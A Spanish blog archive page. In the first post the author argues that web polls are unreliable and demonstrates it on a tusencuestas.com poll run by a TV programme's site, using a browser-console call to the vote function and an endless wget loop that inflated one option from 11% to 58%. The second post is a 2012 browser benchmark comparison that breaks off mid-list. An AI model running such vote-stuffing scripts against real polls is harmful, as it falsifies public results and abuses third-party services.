Archivo de la categoría ‘Linux’

La fiabilidad de las encuestas, votaciones… realizadas en la red, y lo fácil que puede resultar manipularlas

 

 

Inicio Fin (10 minutos después)
Opción 1º: 43.6%  20.7%
Opción 2º: 10.1%  4.8%
Opción 3º: 17.4%  8.2%
Opción 4º: 17.5%  8.3%
Opción 5º: 11.4%  58.1%
Número de Votos: 2506  5462

 

Raro es el día que nada más abrir Thunderbird no recibo en las suscripciones RSS algún resultado nuevo de alguna encuesta, votación o gráfica basada en las supuestas respuestas de los cientos y miles de usuarios que supuestamente votan en ellas para dejar su opinión: Cuestiones políticas, preferencias de consumo, concursos, sondeos… raro es el periódico o site más o menos conocido que no tiene una encuesta o recoge datos semanalmente, para luego exhibirlos igualmente en los periódicos, o en publicaciones de toda índole.

La pregunta que uno debería de hacerse es simple: ¿Como de fiables son estos datos? Y la respuesta es aun más simple: No lo son, y eso es lo gracioso. Esto no quiere decir que cualquier gráfica, resultado de encuentras o votaciones sea mentira o los datos no seas ciertos, significa que a día de hoy tomar por cierto esos datos simplemente porque cualquiera los exponga sería poco inteligente.

En este caso me he cebado/centrado en particular con un servicio de encuestas llamado tusencuestas.com que usan no pocas webs, que usan simplemente para plasmar unos resultados, confeccionar estadísticas y otros. Al igual que este sistema, existen muchos similares, algunos más seguros, otros menos. Esto no quiere decir que TODOS los sistemas sean susceptibles de manipular, aunque tampoco quiere decir lo contrario. Primero un poco de literatura y después veamos el caso práctico… quien quiera saltarse el bla bla bla puede irse más abajo directamente y ver lo que sucedió con tusencuestas.com

 

Lo peor de todo, además, es que detrás de esos datos muchas veces se puede encontrar no solo una duda sobre su fiabilidad, sino que son múltiples las cuestiones que nos pueden llegar a pensar que eso datos dictan mucho de ser ciertos. Hay que tener cuidado cuando se habla de manipulación de datos, dado que muchas veces no son manipulados directamente, pero hay muchas formas de manipular la información. Veamos algunos ejemplos:

 -“Lugar” en que se recogen los datos: Esto es simple, si por ejemplo aparece una encuesta o una gráfica aparece en un diario con fuertes tendencias políticas, los datos recogidos serán en su inmensa mayoría provenientes de lectores con la misma ideología política, y por tanto los resultados serían evidentes. Si la misma encuesta o los mismos datos fuesen recogidos en otro diario con fuerte tendencia política contraria, los resultados serían totalmente opuestos. Este sistema se usa de forma extensiva todos los días.  Personalmente, creo que cualquier encuesta o recogida de datos realizada por cualquier medio partidista o a fin a cualquier tipo ideología (religiosa, política, clase social…) carece totalmente de valor por lo mismo. Extrapolado a la tecnología sucede exactamente lo mismo, si entras en un foro a fin a Microsoft y pusieses una encuesta sobre lo bueno o malo que es Windows saldría que es bueno por una amplia mayoría, si lo haces en un site fin a Apple dirá que MAC OS.

-Confianza en el autor de dichos datos: Más simple aun, damos por echo que dicha recogida de datos tiene detrás a una persona de la cual hay que fiarse, que no haya modificado los datos ni vaya a hacerlo. Por supuesto no digo que lo haga, digo que podría hacerlo.

-Manipulación por parte de los propios usuarios: Incluso cuando se pongan las mejores intenciones en la fiabilidad de dichos datos, si no se usa un sistema decente para la recogida de dichos datos estos de nuevo no pueden tener ningún tipo de validez, y esto es culpa tanto de los propios usuarios como quien está detrás de todo ello.

 

Aquí no podemos señalar con el dedo o asegurar sin pruebas quienes inventan resultados o los manipulan, pero sí podemos ver lo simple que puede resultar para un usuario la modificación de estos, y si cualquier usuario muchas veces puede hacerlo, prueba irrefutable de la validez cero de este tipo de sistemas, sobretodo repito cuando no se es nada riguroso.

El principal problema, quitando por supuesto la honradez del equipo/persona que esté detrás de esa recogida de datos, son los sistemas usados para tales recogidas de datos. Muchas veces los propios equipos/personas encargadas en esa recogida de datos usan métodos consabidamente “manipulables” a fin de que los resultados sean aun más impactantes cuando son mostrados. Y es gracioso, puesto que lo único que debe de hacer un buen sistema de recogida de datos de este tipo es: Un solo submit/voto/estadística/comentario… por persona física. Y señores, uno es uno, no son dos ni tres, es uno ¿Es que acaso en las elecciones generales nos permiten votar más de una vez?

El mundo de la informática está sujeto de la picaresca humana, y seamos franco, en España tenemos mucha de esa. Y es que he llegado a encontrar encuestas incluso en periódicos (en sus ediciones digitales evidentemente) de primera línea en las que con tan solo seleccionar la opción indicada y darle a enviar se contabilizaba automáticamente un voto, sin importar cuantas veces lo hicieses. Es decir, un solo usuario podría en 3 minutos realizar cuantas… 100 votaciones? 300? Y eso sucede (al menos ha sucedido) como digo en medios principales de nuestro país, que días más tarde salen en portadas, noticiarios, radio… jactándose unos y otros de los resultados tan dispares que aparecen.

Existen muy variados sistemas para impedir este comportamiento por parte del usuario (impedir hacer trampas):

-Uso del DNI-e: Sería un sistema viable, seguro y riguroso, casi totalmente imposible de manipular. El problema es que el usuario tendría que molestarse más de lo debido para enviar la información (tener el DNI-e, un lector…)

-Introducción del DNI: Podríamos sortearlo introduciendo un DNI falso, en el mejor de los casos el site verifica el número frente a la letra, y para ello tan solo tendríamos que introducir cualquier número de 8 cifras y calcular la letra de este. Este sistema no sirve.

-El uso de Cookies: La mayoría sabemos que es una Cookie en el navegador, una práctica muy habitual es marcar el equipo del usuario con una cookie que registra la introducción de los datos e impide volver a repetirlo… el problema es que una cookie se puede borrar en lo que se tarda contar 3 misisipis. Este sistema es inútil.

-El registro de la IP: Muchos otros usan la premisa que si tenemos asignada una IP por nuestro ISP, si se registra esta IP se lograría un solo “voto por persona”. El problema es que detrás de un dispositivo NAT (un router por ejemplo) puede existir desde una familia ha una empresa con muchos empleados, y este sistema estaría denegando el acceso a dichos usuarios desde ese lugar, sin contar por supuesto que sería posible saltarse el sistema poxeando o tuneleando la conexión sin mayores problemas. Incluso es relativamente simple el uso de programas o scripts para automatizar el proceso para ir saltando de proxy en proxy constantemente. Este sistema es inútil.

-El registro del User-Agent: Todos los navegadores tienen por así decirlo un identificador propio y único en teoría que los identifica. Muchos sitios usan la combinación entre User-Agent+IP+Coockie para de este modo permitir tan solo “un voto por persona”, permitiendo solo desde la misma IP múltiples accesos siempre que fuesen con diferentes User-Agent, de este modo en teoría se estaría permitiendo a otro usuario diferente detrás de la misma IP pública poder realizar su aportación. El problema es que si cambiar la IP momentaneamente es fácil, modificar el User Agent es aun más simple. En Firefox es tan simple como cambiar la opción: “general.useragent.override”, o por supuesto por medio de scripts y wget en linux.Evidentemente este sistema es inútil.

 

Dado que el único sistema viable y seguro es molestar al usuario, esto no es viable, por tanto es lógico usar un sistema alternativo, que aunque sea posible de saltarse al menos sea lo suficientemente “lento” o farragoso para un usuario mal intencionado de sortear. Y ante esto hay dos aproximaciones que he visto de forma extensa: Los que usan JavaScript para realizar las comprobaciones pertinentes y lanzar o no así las peticiones, y los que usan PHP para lo mismo. JavaScript es un lenguaje que se ejecuta en los equipos de los usuarios, PHP se ejecuta en los servidores… por tanto cualquier programador que use JavaScript para este tipo de cuestiones, y sin ánimo de ofender a nadie, es idiota. Si se ejecuta en el equipo del cliente, el cliente puede modificar el código como quiera, y por tanto puede evitar prácticamente cualquier medida preventiva que hubiese añadido, por no decir que tendría acceso al código JavaScript y ver por donde pillarlo. Con PHP por otro lado no es posible saber que se está realizando en el otro lado, ese código no nos llega, tan solo podemos saber que datos enviamos nosotros, pero no como se tratarán esos datos.

En este caso concreto de tusencuestas.com, ni que decir queda que usan JavaScript para sus sistemas, algo realmente absurdo por lo simple que resultará como veremos modificar cualquier votación/encuesta que usa su plataforma en unos pocos minutos.

Tomemos de ejemplo una web cualquiera que use este servicio, en este caso concreto he tomado la web de un programa televisivo bastante conocido en España, y que por deferencia a ellos me abstengo de decir. En este portal aparecen encuestan semanales cuyos resultados son al final presentados en el propio programa de televisión. La votación semanal en esta ocasión cuenta con 5 opciones posible, que por motivos obvios no pongo que se vota ni cuales son las opciones… de lo contrario cualquiera podría saber a que estábamos refiriendo. Actualmente la distribución es la siguiente:

1º Opción: 43.6%
2º Opción: 10.1%
3º Opción: 17.4%
4º Opción: 17.5%
5º Opción: 11.4%

Con un total de 2506 votos.

El problema reside como he dicho en que este proveedor de encuestas/votaciones, tusencuestas.com, usa JavaScript para registrar las votaciones, y para peor males tan solo prohíbe la votación por una simple verificación de Cookie. Aun así, como veremos más adelante, el echo de usar una cookie o no para verificar si el usuario ya votó o no es totalmente irrelevante. 

Lo primero es echar un vistazo al código HTML del formulario de envío de la votación:.

<div id=”tusencuestas_identificador”><div width=”100%”><div width=”100%”>Nombre de la Encuesta</div><div width=”100%”>
<input type=”radio” value=”287603″ name=”tusencuestas_respuesta_resultados_name”> Opcion 1º<br>
<input type=”radio” value=”287604″ name=”tusencuestas_respuesta_resultados_name”> Opcion 2º<br>
<input type=”radio” value=”287605″ name=”tusencuestas_respuesta_resultados_name”> Opcion 3º<br>
<input type=”radio” value=”287606″ name=”tusencuestas_respuesta_resultados_name”> Opcion 4º<br>
<input type=”radio” value=”287607″ name=”tusencuestas_respuesta_resultados_name”> Opcion 5º<br>
</div><div width=”100%”><span align=”center”>
<input type=”button” onclick=”tusencuestas_votar();” value=”Votar”></span><br>
</div></div></div>

 Por comodidad he eliminado algunos hash que continuaban a cada propiedad name. El caso es que se trata de un formulario muy simple, 5 opciones posibles a las que se asigna dependiendo de cual esté seleccionada un valor diferente. Cando el usuario quiere enviar su voto tan solo tiene que presionar el botón “Votar” que aparece en la encuesta, en cuyo caso el formulario invoca la función “tusencuestas_votar()”.

Del mismo modo, podemos echar un ojo al código JS de la web dicha función:

function tusencuestas_votar()

{
if (cookieHabilitada())
{
var accion_argumento = tusencuestas_recogeValor();
tusencuestas_accion(2, accion_argumento);
if (accion_argumento != “-1”)
{
var expira = new Date();
expira.setSeconds(expira.getSeconds() + 604800);
setCookie(“P_Id” + P_Id_hash, “1”, expira, “/”);
}
else
alert(‘��Escoge  una opcion!!’);
}
else
alert(‘No puedes votar porque no tienes las cookies habilitadas’);
}
 En realidad antes de pasar a esta función, si nuestro navegador envía una Cookie anteriormente seteada, el sistema no nos permitirá realizar la votación, y en vez de eso nos mostrará el resultado que pusimos anteriormente. La función mostrada tan solo tendremos acceso a ella si nuestro navegador no posee aun la cookie en cuestión. La función es bien simple. Si tenemos las cookies habilitadas, recoge el valor de nuestra opción marcada y lo almacena en la variable accion_argumento, y después invoca otra función que supuestamente será la que registre la votación. El resto de la función simplemente setea la cookie para que el sistema detecte al visitante que ya ha votado o muestre uan advertencia si tenemos las cookies deshabilitadas.
 
En otras circunstancias más complejas tendríamos que continuar con un seguimiento de las funciones que se van llamando, así como verificar efectivamente que la funcion recogeValor efectivamente captura el valor de la opción marcada (mostrado anteriormente en el código HTML). Pero lo cierto es que los amigos de tusencuestas.com lo han dejado francamente sencillo. Simplemente usando la consola del navegador (Ctr+Shift+k en Firefox) podemos introducir insitu el código JS que deseemos inyectar en la web que queramos, a fin de cuenta como hemos dicho el código JS es ejecutado en nuestro equipo. Así pues, podemos de forma directa introducir la función que suponemos es relevante para el caso:
 
tusencuestas_accion(2, 287607);
 
El valor 287607 no es arbitrario evidentemente, corresponde a la opción 5º del código HTML anteriormente tomado. Es decir, si todo es correcto simplemente invocando esa función en dicha web, se estaría enviado un voto a la 5º opción, sin preocuparse nadie ni nada de cookies o historias. siempre quedaría la opción de que el servidor denegar multiples conexiones desde la misma IP, pero este no es el caso.
 
Interesantemente, el servidor al introducir esa función por consola nos responde con:
 
GET http://www.tusencuestas.com/acciones/tusencuestas.aspx?44905… [HTTP/1.1 200 OK 1231ms]
Está acortado por comodidad, es a fin de cuenta una URL compuesta entre otras cosas con el ID de la encuesta (que he suprimido desde el comienzo, el valor de la opción y algunos datos más.
 
Llegados a este punto, cada vez que introducimos la función por la consola y le damos a enter, automáticamente si lo comprobamos el sistema registra un voto!! Simplemente presionando cursor arriba y enter introducimos en el sistema un nuevo voto… 10, 100, 1000… pero seamos sinceros, eso un poco farragoso y un trabajo manual de narices si deseamos por ejemplo darle la vuelta a la encuesta, o suponer en una encuesta que hayan miles o decenas de miles de votos… nos llevaría un ratito. Por suerte el voto se registra simplemente con una petición GET al servidor, como vemos en la propia consola. De echo si copiamos la URL y la pegamos directamente en la barra de dirección se registra también el voto. Por tanto, nada más sencillo que automatizar el proceso:
#!/bin/sh
X=0
while [ $X=0 ]
do
wget -O- –timeout=1 “http://www.tusencuestas.com/acciones/tusencuestas.aspx?44905…”
done
exit 0
Un simple script que realiza de forma indefinida peticiones HTTP que registrarán el voto por medio de wget, especificando que no se desea un arcivo de salida y un timeout de 1 segundo (ahora mismo lo necesito por cuestiones de retrasos de la línea en la que estoy). Y con eso el negocio quedaría terminado.
 
Para ver si funciona tan solo hay que invocar el script y ver que pasa al cabo de un ratito, pongamos 10 minutos:
 
 1º Opción: 20.7%
2º Opción: 4.8%
3º Opción: 8.2%
4º Opción: 8.3%
5º Opción: 58.1%

Con un total de 5462 votos.

 
En realidad, poca importancia tendría que tener esto, a fin de cuenta que importancia puede tener si en un periódico hacen una encuesta sobre cual es político mejor valorado o el peor… No porque la encuesta o la votación en sí carezca de sentido, sino que se usan la mayoría de las veces con fines demagogos. La importancia radica de nuevo, como en la mayoría de las veces, en lo que el usuario cree o quiere creer, dejándose casi siempre influenciar por lo que leen/escriben otros, sin pensar generalmente un poco por ellos mismos. ¿Cuantas gráficas vemos con datos tan contradictorios a lo largo de la semana? Si accedes a cierto tipo de sitios las estadísticas son unas, si entras en otros las estadísticas son diferentes… a veces explican con pelos y señales las condiciones en las que los datos fueron recogidos, otras veces son tan absurdas que comparan manzanas con platanos tan solo para que los defensores salten a la red en cualquier lugar: Blog, foros… defendiendo a ultranza a veces con total fanatismo ideas de otros con datos tergiversados y muchas veces manipulados.
 
Ahí queda eso señores. Solo espero que aquel que lea estas letras, la próxima vez que vea una encuesta, votación, gráfica… se pregunte aunque solo sea por un segundo de donde salieron esos datos, que sistemas usaron y que intereses o no puede existir detrás.
 
Un saludo.

Comparativa Navegadores 2012/Q1: Internet Explorer 10, Firefox 14.0, Chrome 19.0, Safari 5.2, Opera 12

Índice

  • Navegadores
  • Condiciones de las pruebas
  • Benchmarks (Nuevo: Inicio en caliente, Tiempo de cierre, Consumo, Caché…)
  • Conclusiones

 

Versiones de los navegadores

 

Navegadores:

 

Continuando con la tónica de las otras dos comparativas, y teniendo en cuenta que durante estos 6 meses ningún fabricante ha modificado de forma sustancial sus ciclos de actualizaciones, hoy volvemos de nuevo a la mesa de pruebas para enfrentar de nuevo a los navegadores que aun están por llegar. En alguna ocasión me han preguntado el motivo por el cual suelo hacer comparativas de navegadores que aun se encuentran en fase de desarrollo en vez de hacer comparaciones de las versiones oficiales. Esto lo he explicado en alguna otra ocasión, y son varias las razones:

a) Debido a los ciclos rápidos de Chrome y de Firefox, estos siempre tendrían grandes ventajas sobre Opera, IE o Safari, ya que estos últimos tan solo lanzan versiones oficiales cada bastante más tiempo. Comparar las últimas builds de cada navegador nos permite ser más imparciales (exceptuando Internet Explorer, ya que Microsoft no da acceso a las nightly Builds.

b) Los amantes del software (geeks y nerds entre otros) siempre deseamos probar y tener a mano lo último que se está cociendo, cambios que verán la luz de forma oficial para todo el público dentro de quizás unas semanas, unos meses o incluso un año.

Tanto para Firefox como para Safari se han tomado sus respectivas versiones nightly, ambos publican versiones nightly diadiamente. Para Chrome se ha tomado Chrome Canary, que aunque no se actualizan todos todos los días, sí prácticamente todos. Opera no publica versiones nightly tampoco, pero su versión de Opera en desarrollo es actualizado cada muy pocos días.

Internet Explorer no obstante es el único que se queda un poco atrás, ya que no podemos obtener versiones diarias ni muy actualizadas del desarrollo de Internet Explorer 10, y nos tenemos que conformar con la última versión de IE 10 que Microsoft sacó para Windows 7. Hay que tener en cuenta que esta versión de IE 10 no es un navegador completo, y por tanto los resultados obtenidos por él son cuanto menos discutibles. Esto hace además que no sea  posible realizar algunos test sobre él, por lo que se ha usado junto a él Internet Explorer 9. Cuando IE 10 no pueda ser usado en las pruebas, será usado IE9 y así quedará indicado.

Como en otras ocasiones, las versiones de 64 bits NO CONTARÁN en el tanteo final en modo alguno, y tan solo tendrán un valor presencial para comparar, puesto que ni todos los navegadores poseen versiones de 64 bits, ni ningún navegador posee una versión de 64 bits que real0mente funcione bien. No obstante, tenemos que añadir en esta ocasión Opera a los navegadores de 64 bits, siendo tan solo Safari y chrome los que por ahora no han abrazado esta arquitectura.

 Por cuarta vez, , la versión de Safari instalada está exenta de QuickTime como ya se ha explicado otras veces. En esta ocasión Apple no obliga instalarlo (un buen paso por su parte). Las razones son las de siempre, QT actúa de plugin para Safari para dotarlo de mayores prestaciones, y la idea es probar los navegadores no sus complementos. Sería igualmente injusto si no, instalar extensiones a otros navegadores para obtener mejores resultados.

Fue necesario deshabilitar DEP (en Windows) para los 3 procesos implicados en Safari, de lo contrario el navegador era bloqueado por este por motivos de seguridad.

 

Condiciones de las Pruebas

 

Sistema:

  • OS: Windows 7 Ultimate x64 SP1
  • CPU: Intel Core i7 920
  • RAM: 12GB DDR3 Triple canal
  • Video: nVidia GTX460 (Driver 296.10)
  • Resolución: 1920 x 1080 (navegador siempre maximizado)
  • Flash Player: 11,2,300,130 y 11,2,202,197

 

 Todos los navegadores son instalados de forma limpia en el mismo equipo, usando perfiles nuevos para todos ellos. El único complemento de partida que se instaló en todos los navegadores fue Adobe Flash Player, y en uno de los test para Firefox se instaló Firebug (para medir con precisión tiempos de carga, el resto usaron sus herramientas nativas).

Cada prueba en esta ocasión se ha ejecutado 5 veces en cada navegador, despreciando de ellos el mejor y el peor ciclo y haciendo media de los otros 3 resultantes. Esto se ha convertido en algo esencial debido a que muchos de los test son muy sensibles a cualquier cambio del equipo, desde un lectura en el disco duro o a algún proceso en segundo plano que pudiese interferir. Suprimiendo la mejor y la peor vuelta, se intenta evitar en lo posible estas deficiencias, sobre todo como digo en los test más sensibles.

Cada prueba puntuará de 1 a 5 (1 el peor resultado, 5 el mejor), reservando el cero para aquellas pruebas en las que el navegador no pueda realizarlas por deficiencias de este o simplemente produzca un fallo del navegador y sea incapaz de terminar la prueba. En caso de que dos navegadores obtengan el mismo resultado, a los dos se le asignará la misma puntuación, dejando la puntuación restante simplemente sin asignar. Como última prueba se hará simplemente una pequeña tabla a modo de “prueba de estabilidad” con los problemas experimentados con los navegadores a lo largo de las pruebas, y se puntuará cada navegador en función a esa estabilidad.

 

 Benchmarks

He reestructurado un poco mejor todos los test, se han modificado, añadido y eliminado otros. Hay que tener en cuenta que incluso muchos de los test que repiten, no pueden compararse con otras comparativas ni siquiera para ver las mejoras de una versión a otra, dado que los propios test sufren modificaciones por sus creadores, las web que se cargan cambian… etc etc etc.

Para ampliar cualquier imagen hacer clic en cualquiera de ellas.

Las Webs usadas para el consumo de RAM , así como los tiempos de inicio en frío/caliente y cierre son: Bandeja de Gmail, Bandeja de Mail Live (Hotmail), Muro de Facebook, YouTube (“http://www.youtube.com/watch?v=nAHyGbOXoF4” en 360p), “MARCA”, portada de “El País”, la NASA, DevianArt, Play Store, Wikipedia (https://en.wikipedia.org/wiki/History_of_the_web_browser). Para los test de 20 pestañas, simplemente se han duplicado las 10 anteriores.

Test:

  • Rendimiento
    • Tiempo de Inicio en frío (1, 10 y 20 pestañas) – Mejorado
    • Tiempo de Inicio en caliente (1, 10 y 20 pestañas – Nuevo
    • Tiempo de Cierre (20 pestañas) – Nuevo
    • Velocidad de carga de Webs con/sin Caché – Nuevo
    • RAM (10 y 20 páginas)
    • CPU/GPU reproduciendo contenido 1080p (Flash y WebM) – Mejorado

 

 

 

 

 

 

 

 

Tiempo de Inicio en Frío y en Caliente

Comenzamos con los tiempos de inicio del navegador para 1, 10 y 20 pestañas, siempre a caché vacío. No se trata de medir la velocidad de carga de las páginas (que se verá más adelante), sino el tiempo de arranque y carga del navegador ante los 3 supuestos anteriores. Inicio en fío significa que el PC no tiene cacheado en RAM nada, el equipo es reiniciado por completo, se esperan 3 minutos para que se estabilice el sistema entero y se abre el navegador pertinente, restaurando la sesión de forma automática (de 1, 10 o 20 pestañas). Inicio en caliente implica que el sistema ya ha abierto anteriormente el navegador y ha estado trabajando con él, y por tanto mantiene en RAM mucha de la carga anterior. El tiempo es medido desde que se ejecuta el navegador hasta que todas las pestañas han terminado de cargarse (que no quiere decir que todo el contenido en ellas se haya descargado):

 [singlepic id=7 w=350 h=229 float=left][singlepic id=3 w=350 h=229 float=center]

  • Opera: Falló en la carga de algunas pestañas, siendo necesario refrescarlas posteriormente (no se contabilizó ese tiempo extra)
  • Safari: Muy inestable, constantes cierres del espacio de trabajo del navegador (proceso webkit2webprocess.exe).
  • Safari: Picos constantes de la CPU de hasta 30%

 

Tiempo de Cierre

En esta ocasión se ha medido también el tiempo de respuesta del navegador a cerrar. En teoría podríamos pensar que estos tiempos son prácticamente inmediatos, pero no lo son. En muchas ocasiones el navegador se mantiene como proceso de fondo durante un largo período de tiempo incluso, lo cual evidentemente no es deseable. Los tiempos medidos son con 20 pestañas cargadas en los navegadores, contabilizando desde el momento en el que se envía la señal kill al proceso padre hasta que el árbol de procesos de este es totalmente finalizado, incluyendo el proceso padre evidentemente. Esto es importante sobre todo en Chrome o Internet Explorer, que al ser navegadores multiprocesos tienen unas dependencias mucho mayores al resto:

[singlepic id=5 w=700 h=458 float=center]

 

Velocidad de Carga de la Web con y sin caché

 Este test posee un doble propósito. Por un lado medir la velocidad con la que los navegadores son capaces de descargar por completo la Web desde los servidores externos, y por otro lado medir la eficiencia del Caché de estos, realizando el test con la caché del navegador activada y deshabilitada. Hay que tener en cuenta que lo que se mide no es el tiempo que tarda el navegador en comenzar a mostrar las páginas o cargarlas por completo, sino el tiempo que tarda el navegador en descargar y preparar TODOS los recursos de las web solicitadas. Es de esperar por tanto que los tiempos en las páginas con el contenido cacheado sea mucho menor. Cada Web fue abierta de forma aislada y se sumaron los tiempos de todas ellas:

[singlepic id=12 w=700 h=458 float=center]

  • Internet Explorer 10: Los resultados que aparecen con caché pertenecen a IE9, la Preview 2 de IE 10 parece tener la caché deshabilitada

 

Consumo de RAM

Aunque a día de hoy la gran mayoría de los sistemas actuales cuentan con cantidades más que suficientes de RAM, continúa siendo un recuro que siempre hay que vigilar y que optimizar al máximo. Además, hay que entender que cada dato que es cargado en la RAM o procede del mismo proceso que lo genera o ha sido cargado desde el disco duro anteriormente, y teniendo en cuenta que el disco duro continúa siendo a día de hoy el elemento más lento del equipo, es algo a tener en cuenta. Los datos mostrados corresponden a la memoria Privada usada por el/los procesos, eso quiere decir que no es exactamente el 100% de la memoria RAM ocupada, ya que no se incluyen pequeños “pedazos” adicionales como por ejemplo el mapeo de archivos adicionales como puedan ser las fuentes, archivos de configuración… No obstante, esta “Memoria Privada” supone una precisión de más del 95%, haciendo que sea más que suficiente para nuestros propósitos:

[singlepic id=16 w=700 h=458 float=center]

  • Safari: Como ya se ha dicho, el proceso “webkit2webprocess.exe” produce una carga de la CPU de un 30% aproximadamente
  • Opera: No logró “estabilizar” (dentro de lo normal) la RAM ocupada, provocando un crecimiento lineal en el consumo de esta mientras transcurría el tiempo. Sin duda alguna un leak de memoria ocasionado por alguna de las pestañas abiertas.

 

Reproducción a 1080p

Es evidente que la reproducción de vídeo es crucial en los tiempos que corren en la web, un mundo que busca cada vez más el máximo rendimiento con el mínimo consumo posible (lo que alarga las baterías de los dispositivos portátiles). La reproducción de Vídeo continúa a día de hoy siendo uno de los mayores “comecome” de baterías. De nuevo, en esta ocasión la comparativa es doble, ya que no solo compararemos la eficiencia en la reproducción de un vídeo Full HD a través de Flash, sino que haremos lo mismo a través de WebM gracias a HTML5, así podremos comparar a grandes rasgos la eficiencia de un sistema o de otro. En la comparativa de hace seis meses los únicos navegadores con soporte WebM eran Chrome y Firefox, en cambio a día de hoy tanto Opera como Internet Explorer (por medio de un complemento) soportan también WebM, con lo que sí me parece correcto comenzar a medir cada navegador frente a WebM, y como ya he dicho este ante Flash. El vídeo reproducido es el mismo que el de hace seis mese: “We Are The World – Haiti”

[singlepic id=24 w=700 h=458 float=center]

  • Internet Explorer: Permite la reproducción de WebM gracias a un complemento externo. Se pone por referencia, pero a efectos de conteo general se tratará como un “no soportado”
  • Un error por mi parte en el código de colores. Cada columna de cada navegador representa (en orden) lo que muestra la leyenda, aunque los colores para representar WebM sean los mismos que  para Flash

 

SunSpider, V8 y Kraken

Posiblemente los 3 benchmarks más utilizados para medir el rendimiento de los motores JavaScript de los navegadores. Como ya he dicho en muchas ocasiones no soy fan de test sintéticos, y mucho menos tests que han sido optimizados al máximo por todos los navegadores para obtener buenas puntuaciones. Quiero decir que TODOS los navegadores hacen algo así como “trampas” para aparentar ser veloces, cuando a lo mejor no lo son tantos. No quiere decir que sean totalmente inútiles, ya que muchas optimizaciones son llevadas después a los entornos reales, pero por regla general no son demasiado fiables. Esto lo veremos más adelante cuando analicemos el rendimiento en Canvas, que a fin de cuenta son muy dependientes de JavaScript, y veremos como los resultados obtenidos aquí no siempre ejemplifican aplicaciones web con alta carga JavaScript:

[singlepic id=20 w=359 h=235 float=left][singlepic id=23 w=359 h=235 float=center]

[singlepic id=9 w=359 h=235 float=center]

 

 Normal Mapped, Canvas Performance, VII y Asteroids

HTML5 permite integrar dentro del navegador de forma simple contenidos complejos a través de canvas. Básicamente Canvas define un marco de ejecución de cierto contenido (generado principalmente por JavaScript). Es por ello que en realidad podría verse Canvas como la aplicación práctica del uso pesado de JavaScript. Esto ha permitido suprimir la necesidad de complementos para un gran sin fin de necesidades, con lo que tan solo con disponer de un navegador compatible podemos hacer correr la aplicación sin importar nada más.

Normal Mapped es un test que aunque es claramente gráfico posee una carga gráfica mínima, siendo el mayor aporte JS, y por ello queda relegado a este grupo de test. Por otro lado, Canvas Performance, es un benchmark muy interesante de cara a que trata de medir el rendimiento no de JavaScript en realidad, sino del contenido ejecutado en Canvas de forma sintética, al más puro estilo de los test sintéticos JavaScript. VII es una demo de un juego creado a modo de test para los navegadores que hace un uso bastante extenso no solo de JavaScript, en este caso de CSS, SVG y de la composición de capas. Asteroids por otro lado es un test ya conocido, con fuerte dependencia JavaScript y gráfica:

[singlepic id=11 w=359 h=235 float=left][singlepic id=4 w=359 h=235 float=center]

[singlepic id=25 w=359 h=235 float=left][singlepic id=2 w=359 h=235 float=center]

  • Opera:Graves problemas cuando VII superpone diferentes capas de texto, el framerate baja a la mitad de golpe

 

Tanque de peces (3.000 peces), Pecera (2.000 Peces)

En esta entrega los peces vuelven al ataque, pero gracias a Opera ha sido necesario incrementar el número de Peces en ellos, ya que en ambos test Opera era capaz de llegar al tope de los 60 fps. Dos Test similares pero diferentes, orientados ambos al rendimiento gráfico de Canvas puro y duro. Los dos fueron diseñados para aprovecharse al máximo de la aceleración hardware de contenido, y es por ello que Chrome y Safari fracasan estrepitosamente. Anteriormente vimos como Opera no disponía de esta cualidad, que ahora ha implementando con sus pros (gran rendimiento) y contras (uso extensivo de la GPU y el consiguiente consumo energético), los cuales veremos en las conclusiones en detalle.

Todos los test con fuerte contenido gráfico acompañan igualmente la carga en la CPU y en la GPU, lo cual servirá además para comparar el consumo energético de cada navegador

[singlepic id=21 w=359 h=235 float=left][singlepic id=27 w=359 h=235 float=center]

  • Safari: No posee Aceleración por Hardware
  • Chrome: Google tiene implementada a medio gas la aceleración por Hardware, pero además de ser muy inestable aun, es necesario activarla por medio de about:flags actualmente, con lo que en esta ocasión queda fuera.

 

“Come-Cocos” (Browse Hunt)

Una vez más, este test creado por Microsoft logra poner los pelos de punta al resto de los navegadores, siendo 6 meses después imposible de acercarse a los 60 fps que logra Internet Explorer. Aun siendo un test fuertemente gráfico, tanto Firefox como Opera estan lejos de alcanzarlo:

[singlepic id=6 w=700 h=458 float=center]

 

“Letras” (SpeedReading)

Uno de los mejores test para comprender la importancia de la aceleración gráfica dentro de los navegadores. Pasamos de los 6 segundos en finalizar el test a más de 2500 en el caso de Safari:

[singlepic id=18 w=700 h=458 float=center]

 

 Psicodélico

Otro test que se ha hecho muy extendido y famoso en toda la red por demostrar el potencial gráfico actual de los navegadores. Existen varias versiones de este test, pero al final siempre es lo mismo: Una imagen que gira sobre si misma a la máxima velocidad posible:

[singlepic id=15 w=700 h=458 float=center]

 

Webvizbench

Aunque no deja de ser un benchmark, es uno de los mejores ejemplos de canvas compuesto, con una alta carga JavaScript, gráfica, CSS… explota al máximo desde transiciones, composición de capas, animaciones… es de los test más completos que veremos por aqui, y orientado siempre a aplicaciones prácticas que podrían/pueden crearse y que antes eran totalmente impensables. Uno de mis test favoritos sin duda:

[singlepic id=26 w=700 h=458 float=]

 

Tanque de Peces (50.000) y Sistema Solar, ambos para WebGL

Aunque en la entrega anterior WebGL no llegó a puntuar realmente, en esta ocasión dado que Opera da soporte de forma oficial también, es coherente añadirlo. Aun se quedan fuera tanto Internet Explorer como Safari. Microsoft no está claro que vaya a implementarlo por ahora, no obstante para Safari es posible activarlo de forma experimental y tan solo en MAC OS. Ambos obtendrán por tanto un “no soportado”.

Es interesante como los chicos de Mozilla tomaron el test original de Microsoft del tanque de peces (usado anteriormente con 3000 peces) y lo adaptaron a WebGL. Comprobamos como tenemos que elevar a la friolera de 50.000 peces para no alcanzar los 60 fps de tope. Si bajo la aceleración por Hardware por contenido y capas 3.000 peces parecían ser el tope por ahora, el rendimiento por WebGL frente al test anterior es sorprendente:

[singlepic id=22 w=359 h=235 float=left][singlepic id=17 w=359 h=235 float=center]

 

Peacekeeper

